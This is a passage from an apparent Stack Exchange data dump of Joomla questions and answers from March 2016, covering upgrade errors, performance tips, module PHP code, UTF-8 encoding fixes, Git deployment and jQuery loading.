  <row Id="15782" PostTypeId="2" ParentId="15781" CreationDate="2016-03-22T12:04:00.637" Score="2" Body="&lt;p&gt;There are loads of things that can be done.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Step 1:&lt;/h3&gt;&#xA;&lt;p&gt;Update to Joomla 3.5&lt;/p&gt;&#xA;&lt;p&gt;I've have just done this on all my sites and the back-end especially is so much faster at executing database queries.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Step 2:&lt;/h3&gt;&#xA;&lt;p&gt;If you can update your server's PHP version to 7, then do so. The performance increase is very big. But make sure your extensions are PHP7 compatible.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Step 3:&lt;/h3&gt;&#xA;&lt;p&gt;Look into caching your CSS/JS files and images. I'd recommend using &lt;a href=&quot;http://extensions.joomla.org/extension/jch-optimize&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCH Optimize&lt;/a&gt;. When going through the setting available, don't simply switch everything to the max as you'll run into issues. Try each one individually, each time checking your browser console to see if any errors occur.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Step 4:&lt;/h3&gt;&#xA;&lt;p&gt;Use a 3rd party Speed Test tool. I personally recommend &lt;a href=&quot;http://tools.pingdom.com/fpt/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pingdom Tools&lt;/a&gt;. After running a test, it will tell you what you're currently doing wrong on your site and how to fix/improve it. Another site you can also use is &lt;a href=&quot;https://gtmetrix.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GTMetrix&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-23T14:24:55.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15783" PostTypeId="1" CreationDate="2016-03-22T12:06:31.513" Score="1" ViewCount="2694" Body="&lt;p&gt;I have Joomla 3.4.8 site (multilingual site) that shows this error on the front-end that said :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;**Fatal error:** Call to undefined method JLanguageMultilang::getSiteLangs() in **/mysite/public_html/administrator/components/com_languages/helpers/multilangstatus.php** on line **88**&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And on the back-end it show this error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Error displaying the error page: Invalid JDocument Class: Invalid JDocument Class&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It happens after I went to Extension &gt; Manage &gt; Database &gt; Fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to fix this? I thought this is database issue. But I got no clue how to start or resolve it. I couldn't enter both frontend and backend. So my site completely down :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I only have back up from Akeeba which I couldn't access because I couldn't reach my back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Info&lt;/strong&gt;: When I use Firefox Inspector Tool it shows this error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;The character encoding of the HTML document was not declared. The document will render with garbled text in some browser configurations if the document contains characters from outside the US-ASCII range. The character encoding of the page must be declared in the document or in the transfer protocol.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know this would be useful information or not, before I fix the database, I do updating my Joomla from 3.4.8 to 3.5, but it failed. And from this link &lt;a href=&quot;https://docs.joomla.org/J3.x:Updating_from_an_existing_version&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Updating_from_an_existing_version&lt;/a&gt;, I clear my browser cache. Then run fix database.&lt;/p&gt;&#xA;" OwnerUserId="7216" LastEditorUserId="7216" LastEditDate="2016-03-22T12:26:44.773" LastActivityDate="2019-05-15T14:11:05.780" Title="How to fix Joomla site both frontend and backend shows error page (site down) after fix database?" Tags="|joomla-3.4|database|error-pages|fatal-error|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15784" PostTypeId="1" CreationDate="2016-03-22T12:11:45.377" Score="5" ViewCount="1669" Body="&lt;p&gt;After upgrading my site to J3.5, users can't login anymore. They get the &quot;invalid token&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried myself around 30 times and I also get the error, although I can login to the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cleared Joomla cache, browser cache and truncated the &lt;code&gt;#__session&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is critical! Users are paying to access certain areas of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHat more do I have to do to enable user login again????&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="12352" LastEditDate="2019-11-16T22:53:12.747" LastActivityDate="2019-11-16T22:53:12.747" Title="Invalid token after upgrading Joomla to 3.5" Tags="|login|joomla-3.5|upgrade|authentication|security-token|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15785" PostTypeId="2" ParentId="15784" CreationDate="2016-03-22T12:17:56.173" Score="4" Body="&lt;p&gt;Apparently there area couple of issues with Joomla &lt;strong&gt;3.5.0&lt;/strong&gt;, one being to do with the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla &lt;strong&gt;3.5.1&lt;/strong&gt; will be released tonight, hopefully fixing your issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It may be an idea to put your site offline for a couple of hours until the update is released. And in future, I'd recommend taking a backup of your site and testing Joomla updates locally before applying them to your live site&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-22T12:17:56.173" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="15786" PostTypeId="2" ParentId="15712" CreationDate="2016-03-22T12:34:01.993" Score="0" Body="&lt;p&gt;Ok, I was finally able to figure it out. I don't know why the variables from the other article like &quot;cat.id&quot; and &quot;cat.title&quot; and the syntax are so different, but they did not really work in my environment.&#xA;Here is the solution that worked for me on Joomla 3.4.8:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $db = JFactory::getDbo();&#xA;    $title = strip_tags($item-&amp;gt;displayCategoryTitle);&#xA;    $language = $item-&amp;gt;language;&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('parent_id'));&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__categories'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('title').&quot;=&quot;.$db-&amp;gt;quote($title).' AND '.$db-&amp;gt;quoteName('language').&quot;=&quot;.$db-&amp;gt;quote($language));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $parentId = $db-&amp;gt;loadResult();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('title'));&#xA;    $query-&amp;gt;from($db-&amp;gt;quoteName('#__categories'));&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('id').&quot;=&quot;.$db-&amp;gt;quote($parentId));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $result = $db-&amp;gt;loadResult();&#xA;&#xA;    echo $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8014" LastEditorUserId="8014" LastEditDate="2016-03-22T12:56:16.640" LastActivityDate="2016-03-22T12:56:16.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15787" PostTypeId="1" AcceptedAnswerId="15806" CreationDate="2016-03-22T12:38:39.970" Score="2" ViewCount="868" Body="&lt;p&gt;I have a Joomla v2.5.14 application and I'm in a situation that I need to hide a menu item from the users based on a database value, basically what I need is to hide the menu item based on a condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, where's the right place to perform this? and how to do it?&lt;/p&gt;&#xA;" OwnerUserId="8072" LastActivityDate="2016-06-24T10:39:14.710" Title="How to add/remove menu item programmatically?" Tags="|joomla-2.5|menu-item|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15788" PostTypeId="1" AcceptedAnswerId="15792" CreationDate="2016-03-22T12:44:42.877" Score="1" ViewCount="76" Body="&lt;p&gt;I am developing a module (see here for details &lt;a href=&quot;https://joomla.stackexchange.com/questions/15774/mixing-php-variables-and-js-variables-in-output&quot;&gt;Mixing PHP variables and JS variables in output&lt;/a&gt;) this shows multiple uses of the same javascript function, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$key     = $params-&amp;gt;get('key');&#xA;$secret  = $params-&amp;gt;get('secret');&#xA;$domain  = $params-&amp;gt;get('domain');&#xA;$mediaid = $params-&amp;gt;get('mediaid');&#xA;$expires = $params-&amp;gt;get('expires');&#xA;&#xA;function get_signed_player($key, $mediaid, $domain, $secret, $expires)&#xA;{&#xA;    $path      = 'players/' . $key . '-' . $mediaid . '.js';&#xA;    $signature = md5($path . ':' . $expires . ':' . $secret);&#xA;    $url       = 'http://' . $domain . '/' . $path . '?exp=' . $expires . '&amp;amp;sig=' . $signature;&#xA;&#xA;    return $url;&#xA;}&#xA;&#xA;echo '&amp;lt;p&amp;gt;Watch this cool video:&amp;lt;/p&amp;gt;';&#xA;echo '&amp;lt;script src=&quot;' . get_signed_player($key, $mediaid, $domain, $secret, $expires) . '&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I assign more than one module to a page the page crashes, I'm thinking due to the usage of a duplicate javascript function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping I can assign an ID to the function name. I was thinking the easiest way would be to echo the module ID using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $module-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but if I add this to the function name, it still breaks. Ideally I want something along these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_signed_player' . $module-&amp;gt;id . '($playerkey, $videokey, $domain, $secret, $expires)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I then call for the frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;script src=&quot;' . get_signed_player' . $module-&amp;gt;id . '($playerkey, $videokey, $domain, $secret, $expires) . '&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-03-22T15:57:49.437" Title="Assigning ID to javascript function" Tags="|php|joomla-3.4|module|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15789" PostTypeId="1" AcceptedAnswerId="22979" CreationDate="2016-03-22T14:18:23.650" Score="2" ViewCount="73" Body="&lt;p&gt;I'm new to Joomla! and I was asked to create some modules, I have succesfully created and installed about a dozen by following the documentation here (&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module&lt;/a&gt;) but looking at the files on the server I noticed that all of my files of the modules now have an empty line separating each line of my scripts (CSS, JavaScript, PHP, HTML, XML and so on...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the original file appeared to be like this (this is just an example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;module&quot; version=&quot;3.1&quot; client=&quot;site&quot; method=&quot;install&quot;&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_strikes&quot;&amp;gt;mod_strikes.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;system&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;style&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;script&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_strikes.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the installation it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&#xA;&amp;lt;extension type=&quot;module&quot; version=&quot;3.1&quot; client=&quot;site&quot; method=&quot;install&quot;&amp;gt;&#xA;&#xA;    &amp;lt;files&amp;gt;&#xA;&#xA;        &amp;lt;filename module=&quot;mod_strikes&quot;&amp;gt;mod_strikes.php&amp;lt;/filename&amp;gt;&#xA;&#xA;        &amp;lt;folder&amp;gt;system&amp;lt;/folder&amp;gt;&#xA;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;&#xA;        &amp;lt;folder&amp;gt;style&amp;lt;/folder&amp;gt;&#xA;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;&#xA;        &amp;lt;filename&amp;gt;mod_strikes.xml&amp;lt;/filename&amp;gt;&#xA;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;    &amp;lt;config&amp;gt;&#xA;&#xA;    &amp;lt;/config&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought that there could be some setting which may have modified my files during installation but the site manager in my office said that there is nothing which makes such things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someone else who has experienced such a situation?&#xA;Mine is not just a curiosity because editing files with separate lines for me is tedious.&lt;/p&gt;&#xA;" OwnerUserId="7829" LastActivityDate="2019-05-07T10:02:40.660" Title="Uploading a module adds a new line each line of every file" Tags="|joomla-3.x|module|installation|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15790" PostTypeId="2" ParentId="15783" CreationDate="2016-03-22T15:16:11.787" Score="1" Body="&lt;p&gt;Since you have an Akeeba backup, I would use their Akeeba Kickstart offering to restore the server.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akeeba Kickstart is a downloadable ZIP file which when uploaded to the server along with the JPA backup file, can be accessed via the web to do a stand alone restore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application will restore the full database and website file structure.  I recommend doing a test run locally to familiarize yourself with the process and confirm the backup is good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that work, then repeat the process in your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup - Kickstart&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-22T15:16:11.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15791" PostTypeId="1" CreationDate="2016-03-22T15:25:51.397" Score="1" ViewCount="1392" Body="&lt;p&gt;I have this code that works fine outside of Joomla, but once I put it into a Joomla Module, it does not properly encode. See&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Cura�ao - - converted:Cura?ao&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;as an example. This should be&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Cura�ao - - converted:Curaçao&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;when encoded properly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;error_reporting(E_ERROR);&#xA;header('Content-Type: text/html; charset=utf-8' );&#xA;$includes_url = $_SERVER['DOCUMENT_ROOT'] . &quot;/Joomla33/_Leagues/_includes/&quot;;&#xA;ini_set('default_charset', 'utf-8');&#xA;include_once($includes_url. &quot;php/OpenDB.php&quot;);&#xA;&#xA;$query = &quot;SELECT * FROM chasiv_timezones.country ORDER BY country_name ASC&quot;;&#xA;$result = mysqli_query($conn, $query);   &#xA;?&amp;gt;&#xA;Country:&amp;lt;select id='country' name='country'&amp;gt;&#xA;   &amp;lt;option value=''&amp;gt;-- Select --&amp;lt;/option&amp;gt;&#xA;   &amp;lt;?php&#xA;   while($data = mysqli_fetch_assoc($result)) {&#xA;      echo $name = mb_convert_encoding($data['country_name'],'utf8');      &#xA;      if($data['country_code'] == $row['country']) { $sel = &quot; selected&quot;; } else { $sel = &quot;&quot;; }&#xA;      ?&amp;gt;&#xA;      &amp;lt;option value=&quot;&amp;lt;?php echo $data['country_code']; ?&amp;gt;&quot; &amp;lt;?php echo $sel; ?&amp;gt;&amp;gt;&amp;lt;?php echo $name; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;      &amp;lt;?php&#xA;   }&#xA;   ?&amp;gt;   &#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;?php&#xA;$query = &quot;SELECT * FROM chasiv_timezones.country ORDER BY country_name ASC&quot;;&#xA;$result = mysqli_query($conn, $query);   &#xA;if(!$result) {&#xA;   exit(&quot;Unable to connect to database to get timezone countries.  SQL:&quot; . $query);&#xA;}   &#xA;&#xA;echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;mysqli_set_charset($conn, 'utf8mb4');&#xA;&#xA;while($data = mysqli_fetch_assoc($result)) {      &#xA;   echo $data['country_name'] . '  - ' . mb_check_encoding($data['country_name'],'utf8');&#xA;   if(!mb_check_encoding($data['country_name'],'utf8')) {&#xA;      echo &quot;    - converted:&quot; . mb_convert_encoding($data['country_name'],'utf8') . '&amp;lt;Br /&amp;gt;';&#xA;   } else {&#xA;      echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;   }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-04-21T18:40:26.287" Title="UTF8 Encoding issue in Joomla Module" Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15792" PostTypeId="2" ParentId="15788" CreationDate="2016-03-22T15:30:01.530" Score="1" Body="&lt;p&gt;Resolved, so will post the answer as a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was that the function belonged in the &lt;strong&gt;default.php&lt;/strong&gt;, which is the view file and should be used for the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I moved the function to a class in the helper like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ModJWPlayerwithURLTokenSigningHelper&#xA;{&#xA;    public function get_signed_player($playerkey, $videokey, $domain, $secret, $expires)&#xA;    {&#xA;        $path = 'players/' . $videokey . '-' . $playerkey . '.js';&#xA;        $sig  = md5($path . ':' . $expires . ':' . $secret);&#xA;        $url  = 'http://' . $domain . '/' . $path . '?sig=' . $sig . '&amp;amp;exp=' . $expires;&#xA;&#xA;        return $url;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;mod_module.php&lt;/strong&gt;, called the &lt;strong&gt;helper.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get Helper&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;$helper = new ModJWPlayerwithURLTokenSigningHelper();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the &lt;strong&gt;default.php&lt;/strong&gt;, called the function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;script src=&quot;' . $helper-&amp;gt;get_signed_player($playerkey, $videokey, $domain, $secret, $expires) . '&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-03-22T15:57:49.437" LastActivityDate="2016-03-22T15:57:49.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15793" PostTypeId="2" ParentId="15718" CreationDate="2016-03-22T16:28:57.800" Score="9" Body="&lt;p&gt;There are two concepts we're dealing with, the first being a code repository.  Although there are different types of repository technologies, GIT is the defacto standard currently.  Websites such as Github and Bitbucket are popular web services offering free GIT hosting solutions.  The key point here being GIT is the actual underlying technology, and will need to be installed on your development box; and Github and Bitbucket are web hosted implementations of GIT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper utilization of GIT and all its features are beyond the scope of this answer, but the primary concept of branches is critical to what you are trying to do.  When you create a new project and accompanying GIT repository, you have only one branch, master.  This branch would represent the production state of your application.  In addition to this, you would create a staging branch.  In most development firms this would a secondary server where clients and developers can test code being prepped for release to production.  In your case however, this staging state would represent your local development box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the developer workflow would be to make changes locally to the staging branch and commit the changes to their local GIT instance and subsequently push the changes back to origin (aka Github or Bitbucket).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This brings us to our second concept, deployment.  The repository will manage the various application states, but there is still the issue of distributing these states to the correct servers.  There are many options to do this.  You could sFTP files locally to the correct server, use Cloud hosting solution provided repository hooks, or code custom hooks on custom remote GIT instance on server.  How you should approach this depends on how and where you are hosting the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your hunch that &quot;there has to be a better way&quot; is spot on.  You will probably run into many more questions as you start to implement, but the best way to learn them is to attempt to apply to your workflows and continue asking questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I anticipate some back and forth on this as there's a lot of information here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Consolidate all code changes, so the files and database on your production server and your development machine are the same.  This is very important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Download and install GIT on your development box, if you are on Windows make sure to install the GIT Bash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Create a free account at Github or Bitbucket, I prefer latter because you don't have to pay for private repositories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Match a deployment solution to the server hosting the website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git-scm.com/downloads&quot; rel=&quot;noreferrer&quot;&gt;GIT Downloads&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rogerdudler.github.io/git-guide/&quot; rel=&quot;noreferrer&quot;&gt;GIT Basics Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Working_with_git_and_github&quot; rel=&quot;noreferrer&quot;&gt;GIT Joomla Guide - Basic&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Git_for_Coders&quot; rel=&quot;noreferrer&quot;&gt;GIT Joomla Guide - Advance&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-22T16:28:57.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15794" PostTypeId="1" AcceptedAnswerId="15795" CreationDate="2016-03-22T17:43:32.067" Score="1" ViewCount="997" Body="&lt;p&gt;I'm writing an add-in, and I need to use JQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any ramifications to using JHtml::('jquery.framework') in No Conflict mode so that JQuery is accessed via the jQuery namespace (rather than $)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd really prefer to use it like that anyhow. I just want to make sure that it's not a norm. I've &quot;read&quot; that MooTools is kind of the default and is set to &quot;$&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-03-22T18:01:47.553" Title="JHtml::_('jquery.framework') No Conflict Mode" Tags="|joomla-3.x|development|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15795" PostTypeId="2" ParentId="15794" CreationDate="2016-03-22T17:50:10.197" Score="1" Body="&lt;p&gt;It's already loaded in no conflict mode&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to load jQuery, use JHtml::_('jquery.framework');&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This will load the jQuery version 1.11.3 library in no conflict mode.&#xA;  This means it is accessed via the jQuery namespace, not through $.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To load it in normal mode, call JHtml::_('jquery.framework', false);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can have more specific information about loading frameworks in Joomla &lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow&quot;&gt;at this page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When writing your jQuery, you can use &lt;code&gt;$&lt;/code&gt; an an alias of the &lt;code&gt;jQuery&lt;/code&gt; global scope, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    var something = $('.something');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="168" LastEditDate="2016-03-22T18:01:47.553" LastActivityDate="2016-03-22T18:01:47.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15796" PostTypeId="1" AcceptedAnswerId="15798" CreationDate="2016-03-22T17:51:16.633" Score="3" ViewCount="124" Body="&lt;p&gt;I've got 25 images in one article and I want to make them all have a margin of 20px. Is there an easier way of doing this than opening the image manager and edit every image one at a time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll have to do this same thing in a couple of other articles as well, so I really need to find an efficient way of doing this.&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2019-09-07T04:29:29.003" Title="Edit multiple images at once" Tags="|joomla-3.x|articles|images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15797" PostTypeId="2" ParentId="15791" CreationDate="2016-03-22T18:14:42.337" Score="1" Body="&lt;p&gt;I found the issue.  This line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysqli_set_charset($conn, 'utf8mb4');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needs to be before the mysqli_query and not after.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-03-22T18:14:42.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15798" PostTypeId="2" ParentId="15796" CreationDate="2016-03-22T19:34:54.150" Score="2" Body="&lt;p&gt;Sure there is an easier way of doing what you need, and also any other batch change in article...&lt;br /&gt;&#xA;I've been doing it for ages...&lt;/p&gt;&#xA;&lt;p&gt;But for that you have to use editor more suitable for programmers than writers.&lt;br /&gt;&#xA;That editor is &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokpad&quot; rel=&quot;nofollow noreferrer&quot;&gt;RocketTheme RokPad&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once you install it and set it as default editor (you can also use &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/edition/editor-buttons/editor-switcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;Editor Switcher&lt;/a&gt; if you want to switch editors within article editing screen), among many options, in toolbar there is &amp;quot;Find and Replace&amp;quot; command (see below)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YvnLE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YvnLE.jpg&quot; alt=&quot;RokPad editor&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now comes important and harder part. I cannot tell you exactely what to enter in &lt;code&gt;Find&lt;/code&gt; and &lt;code&gt;Replace&lt;/code&gt; boxes, that you will have to figure by yourself.&#xA;I can give you just an example. Find &lt;code&gt; style=&amp;quot;&lt;/code&gt; and Replace with &lt;code&gt;style=&amp;quot;margin:20px;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are some drawbacks though:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What if you have other &lt;code&gt;style=&amp;quot;&lt;/code&gt; parts which don't belong to 